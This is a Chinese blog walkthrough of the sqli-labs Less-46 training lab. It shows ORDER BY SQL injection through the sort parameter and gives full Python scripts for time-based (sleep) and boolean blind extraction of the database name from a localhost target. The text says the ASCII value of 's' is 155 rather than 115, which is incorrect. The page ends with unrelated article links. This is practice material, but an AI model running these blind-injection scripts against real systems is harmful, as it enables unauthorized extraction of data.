当前位置: 首页 > news >正文

sqlilab 46 关(布尔、时间盲注)

sqlilabs 46关(布尔、时间盲注)

46关有变化了,需要我们输入sort,那我们就从sort=1开始 递增测试:

在这里插入图片描述

发现测试到sort=4就出现报错:

在这里插入图片描述

我们查看源码:

在这里插入图片描述

从图中可看出:用户输入的sort值被用于查询时的排序方式

那从前面测试sort=4时出现报错可以知道,当前的数据库有三列

时间盲注:

注意:因为时间盲注效率很低,所以建议用python写个脚本来做

import requests
import time


def send_request(url, payload):
    # 确认是否猜对
    full_url = f"{url}{payload}"
    start_time = time.time()
    response = requests.get(full_url)
    end_time = time.time()
    return end_time - start_time >= 0.5  
def get_database_length(url, delay=0.7):
    for length in range(1, 20):
        payload = f"?sort=1 and if(length(database())={length}, sleep({delay}), 0)--+"
        if send_request(url, payload):
            return length
    return 0
def get_database_name(url, length, delay=0.7):
    db_name = ''
    for position in range(1, length + 1):
        for ascii_value in range(32, 127):
            payload = f"?sort=1 and if((select ascii(substr(database(), {position}, 1)))={ascii_value}, sleep({delay}), 0)--+"
            if send_request(url, payload):
                db_name += chr(ascii_value)
                break
        print(db_name)
    return db_name
def main():
    url = "http://127.0.0.1/sqlilabs/Less-46/"
    delay = 0.7 
    db_length = get_database_length(url, delay)
    if db_length == 0:
        print("Failed to determine database length.")
        return
    else:
        print(f"the length of database:{db_length}")
    db_name = get_database_name(url, db_length, delay)
    print(f"The database name is: {db_name}")

if __name__ == "__main__":
    main()


盲注也是慢的没边,不过也算是能做出来

在这里插入图片描述

这里只展示获取数据库的过程了,只需修改代码就可以获取其他信息了

布尔盲注:

感谢伟大的AI !!!

原理:

在上文源码中已知:用户在sort中输入的值,将影响输出列表的排序

即:

以id排序:

在这里插入图片描述

以username排序:

在这里插入图片描述

两次返回的第一行数据不一致,那我们就可以根据这个特点进行布尔盲注了:

http://127.0.0.1/sqlilabs/Less-46/index.php?sort=if(ascii(substr(database(),1,1))=115,id,username)%20--
# 当数据库的第一个字母为s(ascii值为155),则以id排序,否则以username排序

由此引申的python代码如下:

import requests
from bs4 import BeautifulSoup


def get_content(resp):
    # 提出其中的信息(如果猜对,就是Dumb)
    soup = BeautifulSoup(resp.text, 'html.parser')
    username_elem = soup.select_one('body > div:nth-child(1) > font:nth-child(4) > tr > td:nth-child(2)')
    return username_elem.text.strip() if username_elem else None


def binary_search_injection(base_url, sql_query_template, max_length=100):
    result = []
    for i in range(1, max_length + 1):
        left, right = 32, 126
        while left <= right:
            mid = (left + right) // 2
            url = base_url.format(sql_query=sql_query_template.format(index=i, mid_char=mid))
            try:
                resp = requests.get(url)
                content = get_content(resp)
                if content == 'Dumb':
                    left = mid + 1
                else:
                    right = mid - 1
            except Exception as e:
                print(f"请求 {url} 失败: {e}")
                break

        if left > 127 or left < 32:
            break
        char_to_add = chr(left)

        if char_to_add.isspace():
            break
        result.append(char_to_add)
        print(''.join(result))
    return ''.join(result)


if __name__ == '__main__':
    base_url = "http://127.0.0.1/sqlilabs/Less-46/index.php?sort={sql_query}"

    database_query = "if(ascii(substr(database(),{index},1))>{mid_char},id,username)"

    # 获取数据库名称
    db_name = binary_search_injection(base_url, database_query)
    print(f"The database name is: {db_name}")

这里只展示获取数据库的过程了,只需修改代码就可以获取其他信息了

相关文章:

  • 用数组实现树的存储遍历【复习笔记】
  • 3DUNet-Pytorch-master环境配置(3dunet)
  • (IDE接入DeepSeek)简单了解DeepSeek接入辅助开发与本地部署建议
  • 【前端基础】Day 2 CSS层叠样式表
  • 说一下 SpringMVC的运行流程?
  • 代码随想录算法【Day54】
  • 系统架构设计:软件测试需要掌握的常用方法
  • pytorch阶段性总结1
  • 前端模拟请求池-浏览器同时发起大量请求
  • mysql 拼接多行合并为一行
  • 入门网络安全工程师要学习哪些内容【2025年寒假最新学习计划】
  • 机试刷题_HJ106 字符逆序【python】
  • 【实战 ES】实战 Elasticsearch:快速上手与深度实践-1.1.2典型应用场景:日志分析、实时搜索、推荐系统
  • Redis|事务
  • 网络七层模型—OSI参考模型详解
  • Fiddler在Windows下抓包Https
  • HGAME2025 Week1
  • 尚硅谷爬虫note13
  • 一张表解释01背包问题
  • js:根据后端返回的数组取出每一个数组的keyword字段然后拼接成一个逗号分隔的字符串
  • 浙江省机电集团党委书记、董事长廉俊接受审查调查
  • 宇树科技王兴兴:第一桶金来自上海,欢迎上海的年轻人加入
  • 妻子藏匿一岁幼儿一年多不让丈夫见,法院发出人格权侵害禁令
  • 轿车追尾半挂车致3死1伤,事故调查报告:司机过分依赖巡航系统
  • 秦洪看盘|受阻回落,蓄积新做多能量
  • 前瞻|美联储明晨“按兵不动”几无悬念:关税战阴霾下,会否释放降息信号